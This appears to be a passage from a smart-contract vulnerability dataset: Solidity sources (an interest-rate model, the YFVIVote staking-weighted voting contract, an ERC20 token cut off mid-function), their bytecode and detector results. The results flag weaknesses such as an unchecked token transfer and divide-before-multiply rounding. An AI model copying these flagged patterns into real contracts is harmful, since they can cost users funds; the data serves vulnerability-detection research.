uint256 oneMinusReserveFactor = uint256(1e18).sub(
reserveFactorMantissa
);
uint256 borrowRate = getBorrowRate(cash, borrows, reserves);
uint256 rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return
utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
function APR(
uint256 cash,
uint256 borrows,
uint256 reserves
) external view returns (uint256) {
return getBorrowRate(cash, borrows, reserves).mul(blocksPerYear);
}
function APY(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa
) external view returns (uint256) {
return
getSupplyRate(cash, borrows, reserves, reserveFactorMantissa).mul(
blocksPerYear
);
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063b81688161161008c578063dcbab60811610066578063dcbab608146101df578063eccd65dc14610216578063f14039de1461024b578063f851a44014610253576100cf565b8063b81688161461017f578063b9f9850a146101ae578063ca9cdd1b146101b6576100cf565b806315f24053146100d45780636e71e2d81461010f5780638726bb8914610138578063a385fb9614610140578063ae8b520f14610148578063af0a769814610177575b600080fd5b6100fd600480360360608110156100ea57600080fd5b5080359060208101359060400135610277565b60408051918252519081900360200190f35b6100fd6004803603606081101561012557600080fd5b508035906020810135906040013561034f565b6100fd610391565b6100fd610397565b6100fd6004803603608081101561015e57600080fd5b508035906020810135906040810135906060013561039d565b6100fd6103c6565b6100fd6004803603608081101561019557600080fd5b50803590602081013590604081013590606001356103cc565b6100fd61043f565b6100fd600480360360608110156101cc57600080fd5b5080359060208101359060400135610445565b610214600480360360a08110156101f557600080fd5b5080359060208101359060408101359060608101359060800135610458565b005b610214600480360360a081101561022c57600080fd5b508035906020810135906040810135906060810135906080013561055c565b6100fd6105f6565b61025b6105fc565b604080516001600160a01b039092168252519081900360200190f35b60008061028585858561034f565b905060355481116102d7576102cf6036546102c3670de0b6b3a76400006102b76033548661060b90919063ffffffff16565b9063ffffffff61066d16565b9063ffffffff6106af16565b915050610348565b60006103026036546102c3670de0b6b3a76400006102b760335460355461060b90919063ffffffff16565b9050600061031b6035548461070990919063ffffffff16565b9050610342826102c3670de0b6b3a76400006102b76034548661060b90919063ffffffff16565b93505050505b9392505050565b60008261035e57506000610348565b610389610371858563ffffffff6106af16565b6102b785670de0b6b3a764000063ffffffff61060b16565b949350505050565b60335481565b60375481565b60006103bd6037546103b1878787876103cc565b9063ffffffff61060b16565b95945050505050565b60355481565b6000806103e7670de0b6b3a76400008463ffffffff61070916565b905060006103f6878787610277565b90506000610416670de0b6b3a76400006102b7848663ffffffff61060b16565b9050610433670de0b6b3a76400006102b7836103b18c8c8c61034f565b98975050505050505050565b60345481565b60006103896037546103b1868686610277565b600054610100900460ff1680610471575061047161074b565b8061047f575060005460ff16155b6104ba5760405162461bcd60e51b815260040180806020018281038252602e81526020018061086f602e913960400191505060405180910390fd5b600054610100900460ff161580156104e5576000805460ff1961ff0019909116610100171660011790555b60378390556104fa868463ffffffff61066d16565b60365560375461051190869063ffffffff61066d16565b60335560375461052890859063ffffffff61066d16565b6034556035829055603880546001600160a01b031916331790558015610554576000805461ff00191690555b505050505050565b6038546001600160a01b031633146105a7576040805162461bcd60e51b815260206004820152600960248201526827b7363ca0b236b4b760b91b604482015290519081900360640190fd5b60378290556105bc858363ffffffff61066d16565b6036556037546105d390859063ffffffff61066d16565b6033556037546105ea90849063ffffffff61066d16565b60345560355550505050565b60365481565b6038546001600160a01b031681565b60008261061a57506000610667565b8282028284828161062757fe5b04146106645760405162461bcd60e51b815260040180806020018281038252602181526020018061084e6021913960400191505060405180910390fd5b90505b92915050565b600061066483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610751565b600082820183811015610664576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061066483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107f3565b303b1590565b600081836107dd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156107a257818101518382015260200161078a565b50505050905090810190601f1680156107cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816107e957fe5b0495945050505050565b600081848411156108455760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107a257818101518382015260200161078a565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a6564a26469706673582212206502bbdfab40076fc82dc7aa721db787eed18ff23381729f43ea520c10860b8c64736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,316 |
0x998d25d4f146cc1c821842092dfef6e7c815c209
|
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IYFVIRewards {
function stakingPower(address account) external view returns (uint256);
}
interface IYFVIGovernanceRewardScaler {
function votingValueGovernance(address poolAddress, uint256 votingItem, uint16 votingValue) external view returns (uint16);
}
contract YFVIVote {
using SafeMath for uint256;
address public governance;
uint8 public constant MAX_VOTERS_PER_ITEM = 200;
uint16 public defaultVotingValueMin = 50; // reward scaling factor 50% (x0.5 times)
uint16 public defaultVotingValueMax = 150; // reward scaling factor 150% (x1.5 times)
mapping(address => mapping(uint256 => uint8)) public numVoters; // poolAddress -> votingItem (periodFinish) -> numVoters (the number of voters in this round)
mapping(address => mapping(uint256 => address[MAX_VOTERS_PER_ITEM])) public voters; // poolAddress -> votingItem (periodFinish) -> voters (array)
mapping(address => mapping(uint256 => mapping(address => bool))) public isInTopVoters; // poolAddress -> votingItem (periodFinish) -> isInTopVoters (map: voter -> in_top (true/false))
mapping(address => mapping(uint256 => mapping(address => uint16))) public voter2VotingValue; // poolAddress -> votingItem (periodFinish) -> voter2VotingValue (map: voter -> voting value)
mapping(address => mapping(uint256 => uint16)) public votingValueMinimums; // poolAddress -> votingItem (proposalId) -> votingValueMin
mapping(address => mapping(uint256 => uint16)) public votingValueMaximums; // poolAddress -> votingItem (proposalId) -> votingValueMax
address public governanceRewardScaler;
event Voted(address poolAddress, address indexed user, uint256 votingItem, uint16 votingValue);
constructor () public {
governance = msg.sender;
}
function setDefaultVotingValueRange(uint16 minValue, uint16 maxValue) public {
require(msg.sender == governance, "!governance");
require(minValue < maxValue, "Invalid voting range");
defaultVotingValueMin = minValue;
defaultVotingValueMax = maxValue;
}
function setVotingValueRange(address poolAddress, uint256 votingItem, uint16 minValue, uint16 maxValue) public {
require(msg.sender == governance, "!governance");
require(minValue < maxValue, "Invalid voting range");
votingValueMinimums[poolAddress][votingItem] = minValue;
votingValueMaximums[poolAddress][votingItem] = maxValue;
}
function setGovernanceRewardsScaler(address _governanceRewardScaler) public {
require(msg.sender == governance, "!governance");
governanceRewardScaler = _governanceRewardScaler;
}
function isVotable(address poolAddress, address account, uint256 votingItem) public view returns (bool) {
// already voted
if (voter2VotingValue[poolAddress][votingItem][account] > 0) return false;
IYFVIRewards rewards = IYFVIRewards(poolAddress);
// hasn't any staking power
if (rewards.stakingPower(account) == 0) return false;
// number of voters is under limit still
if (numVoters[poolAddress][votingItem] < MAX_VOTERS_PER_ITEM) return true;
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
if (rewards.stakingPower(voters[poolAddress][votingItem][i]) < rewards.stakingPower(account)) return true;
// there is some voters has lower staking power
}
return false;
}
function averageVotingValueNoGovernance(address poolAddress, uint256 votingItem) public view returns (uint16) {
if (numVoters[poolAddress][votingItem] == 0) return 0; // no votes
uint256 totalStakingPower = 0;
uint256 totalWeightVotingValue = 0;
IYFVIRewards rewards = IYFVIRewards(poolAddress);
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
address voter = voters[poolAddress][votingItem][i];
totalStakingPower = totalStakingPower.add(rewards.stakingPower(voter));
totalWeightVotingValue = totalWeightVotingValue.add(rewards.stakingPower(voter).mul(voter2VotingValue[poolAddress][votingItem][voter]));
}
return (uint16) (totalWeightVotingValue.div(totalStakingPower));
}
function averageVotingValue(address poolAddress, uint256 votingItem) public view returns (uint16) {
uint16 avgValue = 0;
if (numVoters[poolAddress][votingItem] > 0) {
avgValue = averageVotingValueNoGovernance(poolAddress, votingItem);
}
if (governanceRewardScaler != address(0)) {
return IYFVIGovernanceRewardScaler(governanceRewardScaler).votingValueGovernance(poolAddress, votingItem, avgValue);
}
return avgValue;
}
function vote(address poolAddress, uint256 votingItem, uint16 votingValue) public {
if (votingValueMinimums[poolAddress][votingItem] > 0 && votingValueMaximums[poolAddress][votingItem] > 0) {
require(votingValue >= votingValueMinimums[poolAddress][votingItem], "votingValue is smaller than minimum accepted value");
require(votingValue <= votingValueMaximums[poolAddress][votingItem], "votingValue is greater than maximum accepted value");
} else {
require(votingValue >= defaultVotingValueMin, "votingValue is smaller than defaultVotingValueMin");
require(votingValue <= defaultVotingValueMax, "votingValue is greater than defaultVotingValueMax");
}
if (!isInTopVoters[poolAddress][votingItem][msg.sender]) {
require(isVotable(poolAddress, msg.sender, votingItem), "This account is not votable");
uint8 voterIndex = MAX_VOTERS_PER_ITEM;
if (numVoters[poolAddress][votingItem] < MAX_VOTERS_PER_ITEM) {
voterIndex = numVoters[poolAddress][votingItem];
} else {
IYFVIRewards rewards = IYFVIRewards(poolAddress);
uint256 minStakingPower = rewards.stakingPower(msg.sender);
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
if (rewards.stakingPower(voters[poolAddress][votingItem][i]) < minStakingPower) {
voterIndex = i;
minStakingPower = rewards.stakingPower(voters[poolAddress][votingItem][i]);
}
}
}
if (voterIndex < MAX_VOTERS_PER_ITEM) {
if (voterIndex < numVoters[poolAddress][votingItem]) {
// remove lower power previous voter
isInTopVoters[poolAddress][votingItem][voters[poolAddress][votingItem][voterIndex]] = false;
} else {
++numVoters[poolAddress][votingItem];
}
isInTopVoters[poolAddress][votingItem][msg.sender] = true;
voters[poolAddress][votingItem][voterIndex] = msg.sender;
}
}
voter2VotingValue[poolAddress][votingItem][msg.sender] = votingValue;
emit Voted(poolAddress, msg.sender, votingItem, votingValue);
}
event EmergencyERC20Drain(address token, address governance, uint256 amount);
// governance can drain tokens that are sent here by mistake
function emergencyERC20Drain(ERC20 token, uint amount) external {
require(msg.sender == governance, "!governance");
emit EmergencyERC20Drain(address(token), governance, amount);
token.transfer(governance, amount);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806373e4b903116100ad578063aec5713a11610071578063aec5713a14610393578063b2a553041461039b578063db0e16f1146103c1578063e5328385146103ed578063eab984301461041657610121565b806373e4b903146102b15780638335e59a146102cf57806397ec0ffd146102fb578063a1e5bc9f14610327578063ab5205371461035357610121565b8063418bed88116100f4578063418bed88146101f15780634ec6e0561461023f57806356b3d388146102755780635aa6e675146102a15780635ccdf818146102a957610121565b80631159222a146101265780631b043a2014610170578063320fbe7a1461018f5780633706352b146101bb575b600080fd5b61015c6004803603606081101561013c57600080fd5b506001600160a01b0381358116916020810135909116906040013561044c565b604080519115158252519081900360200190f35b6101786106dc565b6040805161ffff9092168252519081900360200190f35b610178600480360360408110156101a557600080fd5b506001600160a01b0381351690602001356106ed565b61015c600480360360608110156101d157600080fd5b506001600160a01b03813581169160208101359160409091013516610906565b6102236004803603606081101561020757600080fd5b506001600160a01b03813516906020810135906040013561092c565b604080516001600160a01b039092168252519081900360200190f35b6101786004803603606081101561025557600080fd5b506001600160a01b03813581169160208101359160409091013516610964565b6101786004803603604081101561028b57600080fd5b506001600160a01b03813516906020013561098b565b6102236109ac565b6102236109bb565b6102b96109ca565b6040805160ff9092168252519081900360200190f35b6102b9600480360360408110156102e557600080fd5b506001600160a01b0381351690602001356109cf565b6101786004803603604081101561031157600080fd5b506001600160a01b0381351690602001356109ef565b6101786004803603604081101561033d57600080fd5b506001600160a01b038135169060200135610ace565b6103916004803603608081101561036957600080fd5b506001600160a01b038135169060208101359061ffff60408201358116916060013516610aef565b005b610178610be8565b610391600480360360208110156103b157600080fd5b50356001600160a01b0316610bf9565b610391600480360360408110156103d757600080fd5b506001600160a01b038135169060200135610c68565b6103916004803603604081101561040357600080fd5b5061ffff81358116916020013516610d89565b6103916004803603606081101561042c57600080fd5b5080356001600160a01b0316906020810135906040013561ffff16610e5e565b6001600160a01b038084166000908152600460209081526040808320858452825280832093861683529290529081205461ffff161561048d575060006106d5565b604080516001620dbb7f60e11b031981526001600160a01b0385811660048301529151869283169163ffe48902916024808301926020929190829003018186803b1580156104da57600080fd5b505afa1580156104ee573d6000803e3d6000fd5b505050506040513d602081101561050457600080fd5b50516105145760009150506106d5565b6001600160a01b038516600090815260016020908152604080832086845290915290205460c860ff909116101561054f5760019150506106d5565b60005b6001600160a01b038616600090815260016020908152604080832087845290915290205460ff90811690821610156106ce57816001600160a01b031663ffe48902866040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156105da57600080fd5b505afa1580156105ee573d6000803e3d6000fd5b505050506040513d602081101561060457600080fd5b50516001600160a01b03878116600090815260026020908152604080832089845290915290209084169063ffe489029060ff851660c8811061064257fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561068957600080fd5b505afa15801561069d573d6000803e3d6000fd5b505050506040513d60208110156106b357600080fd5b505110156106c6576001925050506106d5565b600101610552565b5060009150505b9392505050565b600054600160a01b900461ffff1681565b6001600160a01b038216600090815260016020908152604080832084845290915281205460ff1661072057506000610900565b60008084815b6001600160a01b038716600090815260016020908152604080832089845290915290205460ff90811690821610156108e9576001600160a01b0387166000908152600260209081526040808320898452909152812060ff831660c8811061078957fe5b0154604080516001620dbb7f60e11b031981526001600160a01b039283166004820181905291519193506108199286169163ffe4890291602480820192602092909190829003018186803b1580156107e057600080fd5b505afa1580156107f4573d6000803e3d6000fd5b505050506040513d602081101561080a57600080fd5b5051869063ffffffff61153f16565b6001600160a01b03808a1660009081526004602081815260408084208d85528252808420878616808652908352938190205481516001620dbb7f60e11b0319815293840194909452519499506108de946108d19461ffff9094169389169263ffe48902926024808301939192829003018186803b15801561089957600080fd5b505afa1580156108ad573d6000803e3d6000fd5b505050506040513d60208110156108c357600080fd5b50519063ffffffff61159916565b859063ffffffff61153f16565b935050600101610726565b506108fa828463ffffffff6115f216565b93505050505b92915050565b600360209081526000938452604080852082529284528284209052825290205460ff1681565b60026020528260005260406000206020528160005260406000208160c8811061095157fe5b01546001600160a01b0316925083915050565b600460209081526000938452604080852082529284528284209052825290205461ffff1681565b600660209081526000928352604080842090915290825290205461ffff1681565b6000546001600160a01b031681565b6007546001600160a01b031681565b60c881565b600160209081526000928352604080842090915290825290205460ff1681565b6001600160a01b0382166000908152600160209081526040808320848452909152812054819060ff1615610a2a57610a2784846106ed565b90505b6007546001600160a01b0316156106d55760075460408051630dab5f8b60e41b81526001600160a01b0387811660048301526024820187905261ffff851660448301529151919092169163dab5f8b0916064808301926020929190829003018186803b158015610a9957600080fd5b505afa158015610aad573d6000803e3d6000fd5b505050506040513d6020811015610ac357600080fd5b505191506109009050565b600560209081526000928352604080842090915290825290205461ffff1681565b6000546001600160a01b03163314610b3c576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b8061ffff168261ffff1610610b8f576040805162461bcd60e51b8152602060048201526014602482015273496e76616c696420766f74696e672072616e676560601b604482015290519081900360640190fd5b6001600160a01b039390931660008181526005602090815260408083208684528252808320805461ffff96871661ffff199182161790915593835260068252808320958352949052929092208054919093169116179055565b600054600160b01b900461ffff1681565b6000546001600160a01b03163314610c46576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610cb5576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600054604080516001600160a01b0380861682529092166020830152818101839052517fd5f5d3947cee2c1f346ba9359a003af3d6202e5bc2e987685ab0cf0e73f5ac3b9181900360600190a1600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290519185169263a9059cbb926044808401936020939083900390910190829087803b158015610d5957600080fd5b505af1158015610d6d573d6000803e3d6000fd5b505050506040513d6020811015610d8357600080fd5b50505050565b6000546001600160a01b03163314610dd6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b8061ffff168261ffff1610610e29576040805162461bcd60e51b8152602060048201526014602482015273496e76616c696420766f74696e672072616e676560601b604482015290519081900360640190fd5b6000805461ffff928316600160b01b0261ffff60b01b1994909316600160a01b0261ffff60a01b199091161792909216179055565b6001600160a01b038316600090815260056020908152604080832085845290915290205461ffff1615801590610eba57506001600160a01b038316600090815260066020908152604080832085845290915290205461ffff1615155b15610f98576001600160a01b038316600090815260056020908152604080832085845290915290205461ffff9081169082161015610f295760405162461bcd60e51b81526004018080602001828103825260328152602001806117876032913960400191505060405180910390fd5b6001600160a01b038316600090815260066020908152604080832085845290915290205461ffff9081169082161115610f935760405162461bcd60e51b81526004018080602001828103825260328152602001806116d26032913960400191505060405180910390fd5b611038565b60005461ffff600160a01b90910481169082161015610fe85760405162461bcd60e51b81526004018080602001828103825260318152602001806117256031913960400191505060405180910390fd5b60005461ffff600160b01b909104811690821611156110385760405162461bcd60e51b81526004018080602001828103825260318152602001806117566031913960400191505060405180910390fd5b6001600160a01b0383166000908152600360209081526040808320858452825280832033845290915290205460ff166114b95761107683338461044c565b6110c7576040805162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e74206973206e6f7420766f7461626c650000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260016020908152604080832085845290915290205460c89060ff1681111561112557506001600160a01b038316600090815260016020908152604080832085845290915290205460ff1661134f565b604080516001620dbb7f60e11b03198152336004820152905185916000916001600160a01b0384169163ffe48902916024808301926020929190829003018186803b15801561117357600080fd5b505afa158015611187573d6000803e3d6000fd5b505050506040513d602081101561119d57600080fd5b5051905060005b6001600160a01b038716600090815260016020908152604080832089845290915290205460ff908116908216101561134b576001600160a01b0387811660009081526002602090815260408083208a84529091529020839185169063ffe489029060ff851660c8811061121357fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561125a57600080fd5b505afa15801561126e573d6000803e3d6000fd5b505050506040513d602081101561128457600080fd5b50511015611343576001600160a01b0387811660009081526002602090815260408083208a8452909152902091945084919084169063ffe489029060ff841660c881106112cd57fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561131457600080fd5b505afa158015611328573d6000803e3d6000fd5b505050506040513d602081101561133e57600080fd5b505191505b6001016111a4565b5050505b60c860ff821610156114b7576001600160a01b038416600090815260016020908152604080832086845290915290205460ff9081169082161015611404576001600160a01b03841660008181526003602090815260408083208784528252808320938352600282528083208784529091528120909190829060ff851660c881106113d557fe5b01546001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561143f565b6001600160a01b0384166000908152600160208181526040808420878552909152909120805460ff19811660ff918216909301169190911790555b6001600160a01b0384166000818152600360209081526040808320878452825280832033808552908352818420805460ff1916600117905593835260028252808320878452909152902060ff831660c8811061149757fe5b0180546001600160a01b0319166001600160a01b03929092169190911790555b505b6001600160a01b038316600081815260046020908152604080832086845282528083203380855290835292819020805461ffff871661ffff1990911681179091558151948552918401869052838101919091525190917fa8a478c6ecd9c141e83e70284167aaa087698f6c8972cf3e8b71ab2a6ecd9d54919081900360600190a2505050565b6000828201838110156106d5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826115a857506000610900565b828202828482816115b557fe5b04146106d55760405162461bcd60e51b81526004018080602001828103825260218152602001806117046021913960400191505060405180910390fd5b60006106d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836116bb5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611680578181015183820152602001611668565b50505050905090810190601f1680156116ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816116c757fe5b049594505050505056fe766f74696e6756616c75652069732067726561746572207468616e206d6178696d756d2061636365707465642076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77766f74696e6756616c756520697320736d616c6c6572207468616e2064656661756c74566f74696e6756616c75654d696e766f74696e6756616c75652069732067726561746572207468616e2064656661756c74566f74696e6756616c75654d6178766f74696e6756616c756520697320736d616c6c6572207468616e206d696e696d756d2061636365707465642076616c7565a265627a7a72315820c2df78b9e90f1e3fea5b7bbd0c6d5f1ed973aaf63647d3be50d5a96f2428ecf964736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,317 |
0x1c8ca35028c023c303c9646db4317c6b4c91c178
|
pragma solidity 0.4.20;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a % b;
//uint256 z = a / b;
assert(a == (a / b) * b + c); // There is no case in which this doesn't hold
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
